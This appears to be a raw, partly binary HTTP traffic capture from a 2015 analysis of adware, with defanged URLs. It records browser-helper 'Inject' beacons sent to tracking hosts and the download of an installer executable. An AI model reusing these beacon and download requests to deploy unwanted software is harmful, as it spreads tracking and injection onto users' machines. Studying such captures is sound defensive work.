X-Cache: RefreshHit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: V0zCTF9Tkdkcqkp76LecI6BXbiSyLUawyVs8kKKQMGvLsTRiqboALw==
.PNG........IHDR...0...0.....W.......sRGB.........bKGD..............pH
Ys.................tIME...../.fCI.....iTXtComment.....Created with GIM
Pd.e.....IDATh..Y{p\.}...w...}K Y..e.......[.6I.a.k.v2..f4N:.p..7&R3..
d\21i......I..0....&...T`..e....%.d.....]...{......a..-&g.7g_........!
..%{..u....9..|...B.\...o.l.............J....z.Q..Y.(J.RZ....h...{....
..s.)..=...Z..DKoooK___.cl........?..b.f...VD".....J...UU5.p8*.E......
....nEQ.PJA..... . ..z.`..-{.....RZI...R..94-c&.c.W_}.......u........7
...........e.Z.3..\WW...{....#I.....t*..G..w..(/.xp...... >........
z...>..D......u....;;;.p-...oFF..;....r.8......`...I.....1......g..
BL...$..?........4;..|..^^.l...1...t:.U.V]...s.r9455.6m..r8.3....={...
..k....9xgg......).`.!;..i..$..>....i....x2.d2.Db.....t..p.eLNBQ..B
!D"...aH..].q....m....F.........KJJ..c.x<..b.......R..2..2..T:....4
.p..L..a.$oZ.JH...b_....war........'O.<|]1v.:p.......~....X,..9.N'(
.`....L..i.0..a.f]...C(.B...n...G.?.@ .@(..a.8q......?x..g.y....O.V.\.
M..8...........y!..c.u.&3.p8.....z...........*.$...Ji.^.B..].}.......=
.....z...y!..C4....... .....d`...E.CQ..x,.z..*..l..A.....  ...!..`..u[
..`..O?........L/4..rD.Q...Au.....L2.._q. a..1..B.d011.......oR.TKOww[
2........BC.._.`.....r..(..y.v]..V`2...i.d2.O...E.4.........#...<..
c.$.Is...m^3...j.v.QRR.S...e.zp.h..-...iH..H.SH...u..R..............R.
.....H$.d2)...|....8d.......x..7.N...H..$Ip8.p8.PU.EEEp..V..*<^/.v.
..n.\...ntvv..@`..X.t&.B(.~?"..R..(.p8......j..........PU........8 .2$
;#YAL.$It...!r.1p....P8.ND"[email protected].*....RJ!Q..I..8AO...Q.t.z..<<< skipped >>>

GET /t.ashx?e=t1D UTAmiecfAxEXghvnLLDIlck824Db1VMaOJFqXYpxTYwWxYG9WC5wjMCSU5F6kmHgElHm6Zad2YanHum4fHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -9GfeeZlh8gyDXjm75AcwAblHvGlZ1Baq-WfU0I-d8E9UP7mzp9Wnw==

abfgshdgfjhsk....

GET /t.ashx?e=t1D UTAmiecfAxEXghvnLLDIlck824Db1VMaOJFqXYpxTYwWxYG9WC5wjMCSU5F6kmHgElHm6Zad2YanHum4fHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XMBTDBvBGGEMR5nSMH7TUpykGPSBhTvyV9-2jwXXAXs7DsxBeJnmpw==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SYosaoeUTsTNIzirFReX1pB8odQbNjKycP8VTIF8mNH-ZuIG3_wodQ==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:06 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 8813babdd85ca691e150294142d51c61.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: SYosaoeUTsTNIzirFReX1pB8odQbNjKy
cP8VTIF8mNH-ZuIG3_wodQ==..abfgshdgfjhsk..

GET /s/abel/v6/3YEwT2a1878zysq92S8_9w.eot HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: font/eot

Last-Modified: Thu, 28 Aug 2014 18:23:54 GMT

Date: Fri, 23 Jan 2015 03:56:09 GMT

Expires: Sat, 23 Jan 2016 03:56:09 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: sffe

Content-Length: 10793

X-XSS-Protection: 1; mode=block

Age: 1555441

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=31536000
..........e.eL.\..w..eq/..NY..].w..RX......R..h.[..}.7.....;.3.$s..L..
[email protected][email protected]..........,.....rL....-........C..
....x.......%...............S..o...}.0.......8....e.N!Keg.i.2e.x$f....
.J"R..b.?m.I9X%.1.C.zI..Ah^aJ I.w..%S.A..NJ...!8...vIC..S..H...%......
GD..]...4m%%....n.R..i..n.T..$..W..E.Sm.-*[email protected].~%....1.9u.
...1V..{xh....I..H..4.i..N...B..1.......;.<......e.?/...1.Jy ..`;..
$...k.p....:.L.-.......r....s..\..1_X.h.I....$o....d.C.cga~F.-..F.....
?.0~...C.'.7d...r..3..}....&=......9...q..7.....x/^:.K..Ec.......f.hx(
X..:... ....... J......%KX..1..0.kNX:.W...).......J.z..2....4b.......2
'.Gm9e..wS.Tx.dS.....=....j#.}..V...c..s.H......#.....G.r......\:.E.61
..D.7... I...y.9g!...L.%...8J..3.^F.8....]BgG.,^i......?.88v...;....&g
t;l=\x...O{..N.D.A.K.....O.b]o.....,.5...lW-N;....11-X..'.:.%..j....".
G%V.....G..Xg.......n....0w-."[email protected].'....p$....G4..p....V.w.......[|.
....C.........h..bB.Qc.`..K..v.|...eK..7.Vj...z.....fv.&PB.K.T.2..|1..
.._x..5...O....l."...(h...............W..Q....D_.&U...S....5..].......
.6.k.=......^......i./:.F0./..r_.........9.......7!...a.."...s........
.....3'.lz...k..H.$...wF.7...tlUI.^aH.Q..K.eZ.....IF.]kj..0.....f|:...
.....R.....\Q.mG....]/<....}1.1.>...b(<.\B.\...}.e........o(.
.>.o.=F..z.J"...l.....Ua?S..a.".3-q@v...$.'F..lNn&~0..Sy*......Y...
..p.......R*....T.G%M?....i..Y.8'..,F..Z.k....b....S......P.%x...0W...
]@;O...l..W....W.C(.....<..^.Y.(t=.#s....5..7.I.....}....E3.{~.....
. .^...1.....A[.....1l.R....jYX...7.`b.`.F.......Wh....X...)...Qt"<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=GoobzoInfo&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.68 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.68 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /root-r3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:02:37 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 594

Connection: keep-alive

Set-Cookie: __cfduid=d47eabe65a32ebd8514e901d814c9a2341423540957; expires=Wed, 10-Feb-16 04:02:37 GMT; path=/; domain=.globalsign.net; HttpOnly

Last-Modified: Thu, 11 Dec 2014 05:33:35 GMT

CF-Cache-Status: HIT

Expires: Wed, 11 Feb 2015 04:02:37 GMT

Cache-Control: public, max-age=86400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1b656988db5f0f63-FRA
0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..141210000000Z..150331000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H................=.l.....;
.r....^......!.y......`w.P..=..Q..j..42.N.......A.F....s~.....7...'O..
..-'....... I....S^:i.....{......Z...p.S7S..........I.x.A.|,..C.\..<
;.....[]{.A9..D...o...Uz.=.......s...8.0.....,........Zd...Iqb.....>
;..v.1..RE....:Z....L.....x.D..I.tO.s#W.HTTP/1.1 200 OK..Date: Tue, 10
 Feb 2015 04:02:37 GMT..Content-Type: application/x-pkcs7-crl..Content
-Length: 594..Connection: keep-alive..Set-Cookie: __cfduid=d47eabe65a3
2ebd8514e901d814c9a2341423540957; expires=Wed, 10-Feb-16 04:02:37 GMT;
 path=/; domain=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 
2014 05:33:35 GMT..CF-Cache-Status: HIT..Expires: Wed, 11 Feb 2015 04:
02:37 GMT..Cache-Control: public, max-age=86400..Accept-Ranges: bytes.
.Server: cloudflare-nginx..CF-RAY: 1b656988db5f0f63-FRA..0..N0..6...0.
..*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign
1.0...U....GlobalSign..141210000000Z..150331000000Z0..0*........1..F..
.141125000000Z0.0...U.......0*........%[email protected].....
..0*........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#.
.0.....K...E$.MP.c.......0...*.H................=.l.....;.r....^......
!.y......`w.P..=..Q..j..42.N.......A.F....s~.....7...'O....-'.....<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:01:26 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d8971a0991ae750119ed40969dde1d4321423540886; expires=Wed, 10-Feb-16 04:01:26 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Fri, 06 Feb 2015 23:51:50 GMT

Expires: Tue, 10 Feb 2015 23:51:50 GMT

ETag: "9006297540e316688484ed9e4b46a0dce7b0d372"

Cache-Control: max-age=345599,public,no-transform,must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b6567cdac0015bf-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0206235150Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150206235150Z....20150210235150Z."0 0..
. .....0......20140206235150Z0...*.H.............Q."...T1..ý.Rs.(..%
l..<.....qN.jm\f...x3g...&.R.qQaH^....X.#{O G.....8K....(........f.
.&.%..m}.hU......9.......psNO.c;.Dz._....... ^..oQa48..6.......s.o..#.
]{D..nQL.2.;.i0.$Vp....6...:f.....h.O..#......8..!g<q...d.tl.....h(
..E.]-...................y.2.......0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=510335-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 510335-583239/583240

Content-Length: 72905

Connection: keep-alive
sH.V.......b......[.\[email protected].<zev...dIN..B.2.[..=..].
|....U_.3r..m...x.W(...............Z........1...g.... ....A)...j.m._m.
.76.... 5T.4hMMRd.2F?/...]q.{Y..\~i..m6.......b"...S.....A......}*.O..
(..W..WI...r2.F{j.=...h ......r...d.p.0....>..R.....eW#g..uK.l.:...
.&..2....=. e?..72..Q......Ct.....u.....)....<~.R...tM.43..9:.^as..
.s...7.Q..m.bU}...$H!.ZP....jM.............V.....W).....Z .[T Jt....v.
..N....K...a6:...4......z...,.'....Q.Q...ZV...RrAXi........'~{:.4....n
.?.o.>=.0A........*....x.NG..m..AA.)$..G.....X...G.........J.......
.`.....}...u}..._0..F.....h..}D....VU.......`'.~..<o.}.o.?5X.|..%..
.....8....KL.6.k...........f?..,}lUR'v. .....F..f..4..........s.mcZ.,.
..."R....*;b}..H.8...wu.f*r............9.'V...D..t.............O.KZ..D
..g.3....&.z..3..1I....8..]5.m.@>...S....[>..._6.z._;.d.......FX
.:.a.....|.J....V..@./LX......F...#.6d.U...|>.N:.g&...V.U..n..s3!:.
0y.......N...H..N|6..8. .L.Up...w(CE..5..U{Z .KQ.-/.~.[..C...^.....y..
..@ ,.....t...0n.R........[...KK.$.......'4......}.....G....o}n[...{kL
.T.....>.j.....q|[6.... .p....~!.......e.n.;.....>N.1..../5.,..i
.XK-4.a..K..u7...t..K...ro;6."'..)....Bb.~.Dl...>n.%......R.....o.T
_...o.{5k....C.9..\..MX.t..R........F..7........z..4.(.^.p.\...>..C
...\.......zCry...............u'.h...oU..5..p..X.x..~.8x...IjR[...#I..
...............A.../.30....h.j........;..J*.]Y....f...S..<2\.&....*
....n..R.f[...7M..Z Pl..x...H..`b........P!"`c.mi..a.8....N..,........
..{......@<"Dpw..M..Y..B.S?...D._.h.!.....B.MtZ{.>X....D.Z..<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=445671, public, no-transform, must-revalidate

Last-Modified: Sun, 8 Feb 2015 07:48:42 GMT

Expires: Sun, 15 Feb 2015 07:48:42 GMT

Date: Tue, 10 Feb 2015 04:03:05 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015020
8074842Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150208074842Z....20150215074842Z0...*.H........
.....B./.h...c....(&....9.-.}......z.....'..T-."6.b..lni`B.....X.M\m.V
....Z...S..:.H7^[email protected]..."o..If=....m..Y.6p.4`*..V..M...H..OL}.]7c..N..
H.........Z.h$c.C.m...Z3.e.. ....\'..4..}.nP...UF.]*I.._.5........|.0.
2..O..j....Tu...h........./....t..N..Sb&...Q.h[..1?...#0...0...0......
....<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at h
ttps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Sign
ing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...U..
..VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of u
se at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3
 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.........{
(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(.......
...p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.}..
.r...gv... f...z..

GET /home HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: symfony=rktlac42td4n2el89ik9ef85d3; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip
1786.............].r.Hz...hs.,;.p>...h...#..D[;..b5.....8.(Y....n..
\%..U*..H^!S...d'[email protected]_<..m..;..Q6.....{....&.
...(n....w..="...'4J.,.#..bg.EZ.,.<....3.L..d(...../.?\.\.*O.^..6.z
....q....t#..]<.....4...X.".W._..b..._.e.D'd.0.}....GY*..x.2:.R....
....t....m.. $a..J...,.1....|..W2.>..W...,...l..~.....M...l...-....
[.s|...;.I...i..Y-"V{....q......IJvh.7~..d..c....>....5'AJ... ..D..
.#/.......Y.0.........S.........,..-.U......c.F^.h..<....4..Ie,G.8.
. r.,_i~...I....D..^6Z..i.....s.D....R..l......;?../..BA.*...=.....os.
./[email protected]....'n.<8.....&.8..]Z...).V..cs....n.V..X....c..b.3w...s.*...
}...#...:..]<4.j..j.8..E...(..X...qK.. ..6..O.-....n.....>_.a0.e
N.~.c....T..w...W[$M\L.H....9..&.....~...\..SP.7..3..mm....0......>
K......i....K......O....8....M.0.....hq..=2.I...'.4r.N}......p5Y......
._y.3.6$.y..i.y..l....y.}..:...O....&.?....~.[.?....?<.&.t..&....&l
t;}....f......[4cO.>...#...N.x.'...y.c.......<...>88.}/....4=
..u..8......&.e?...D)K.....~.I,....'gA..g.^...[]).heu.....[....e...w)Z
....._.}.......U.....).nX..&..%......I...,.x......../6....L2.pb.<..
^pJ.o.....o.....hm...; {....d....t~./f..z..a.n......4.F...........q...
2......yC.../..(.3l.`<,.D0.......M.-....>.ON6h....ai.KU.5..Br..B
..2...>.... ...*...m........au..k..8.i.x,).`~g~q.K.s.Zf"S.*....q..'
,..B...A4.f.A....`a...t.D4.S..Q....L,..RQ.UQV.. ..,.P..ReJe.).....k...
Bsh..:y."..$Zo.....1...[.f.{..s..WHat0.b.....P..A...../....TQ.].|..vL_
.t.q.Je.0.....d.f..`.;A..`.4...Z.../..c..K%...b.......i..cXN...u..<<< skipped >>>

GET /css/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: text/css

Content-Length: 0

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-0"

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes

....

GET /css/product.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
221............}T.n. .}N...S^.Jnb'.*....K.......i.E..q.vp..HN....{..^.
..A.V_..V.q.TG...L..|...p....R.h/8........w..o.p.<....p......20..E.
!cX.C.......Z.|...........Ip.SR=m......Y."a......'.]...v`...-.....W^B.
]....Bl$..b..Wk...............M.w.2.^.. .g_0):......3D3.BfE&..>l).V
=....M...S.*......#&F]..."...L.2..T..|R{E"....'%W}.b.8.G....7.J..E-u..
.5k^;......_7b`..M-:....t.........Il@y...?.5Gqh.e^h5....L....%...Q)o.r
m0.=...anT>k......y#........\c.A...E.P..s..B......q..F.C...$...F..q
>.j=..."...gj4m..........w...... ;....K.(~r........8....vE....&....
....0......


GET /js/scripts.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
1ff.............T.n.0... ...S.!%-b..zp..P.h..g..V....H.9....zDJ.....`.
..vvv..|....52.)..[.w._5.......JW...2.W.*..j.. X.....~} *.>?[]|....
Q..&s.[.....tA.7..D...n.Z!s.^....c|.8..l/..J..w..L).XU'.FLvV.0...w...(
.........s.........S_2....w.V{....|.|.3.".f"....X....v)Gq.g..kG..z6...
.B...E..G.B...........4.k=.h0...4..kJ;.. ........u@.(...M.{ 2:..sa....
...CBx.......:..>k.....T..d1..........'.d.......9.n."...c:quU.tP...
F.:.g.-Z...q{...z....W.Nw...O..4.....x.;y}K...$E.E...T...X..%.Y...-...
....)C=...x......>:....G.&.|......0......


GET /js/jquery.smooth-scroll.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
51e.............Vao.6..._...!6,m..6H...-.a-.-......:I.iI........(9....
.....;...G._..y.........]Q....U...Y7....%.b...5|/...u.{.D.-....p.mxu.]
......7..w..Q......o/F.wE.X.43....**.]?@..*.|4B{ZI.k..&...L..._n<..
...?N....5....F_$...1e8.?<<..D...$..J.#p=.).f..2 Ov.ysl...ef.]..
...Y.4.4....i.oo.H.V`.*.$...BB0.....yJ...WK.......!p....ZS...k.1.,V.l6
.......G.......qpS.~d2U3.2{:.iU...v......r.un....x .s.7...pG.....aA..M
.....j..%......c.S...}....d.9.>QUm|k.!OMF0X`u....u4..zZp..M.....G"N
..6,..|18....b.!<L..3$.......r&..C ..l..'.........Y.:...O...L...h..
.k..Uz....C`..X..h...$H...b.....0Y..),.Y..\..8...._"...V...0..._..4..'
.....4.{gYQ....:x..]w~4......oD..r/x9.W.).........P8..:#........c..,8O
........6...&x.."u.C..E..U`..y2.1.....uD.X1U.. Ye..k..u....#........E.
...&.......icVVp....U= H...).:r..0<...j.oC.".....).mx..vxls.B.\...i
JU.0U1.c..`....?.../Rd;f:E..u1.%..'m......'.%.K$.R...N.jj......A_.H...
..a6._...].G'.L.u.....k..$Q..nJ..4Z...w....6{..2d........2......E...P.
.....D.?.}^...B?.. ...<.Ko......z."[email protected]!.#.&w.
.I...Ill...lI.>......:\-..\G............)^,L$.w.^..X.EW...... .....
hL..S....x.^b.j....].Ib........_9A.7DS...*..Vy...Y..=........\"..v..[.
...=T5.s.......'.?z"..]...|N}...K..._... l%.....?..[z..:1....{......p.
.6.?......pa.?...7...N.....=N.*6....0...O.?^...........W..=.gx.B...-..
..{.-......0......
<<< skipped >>>

GET /images/logo.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

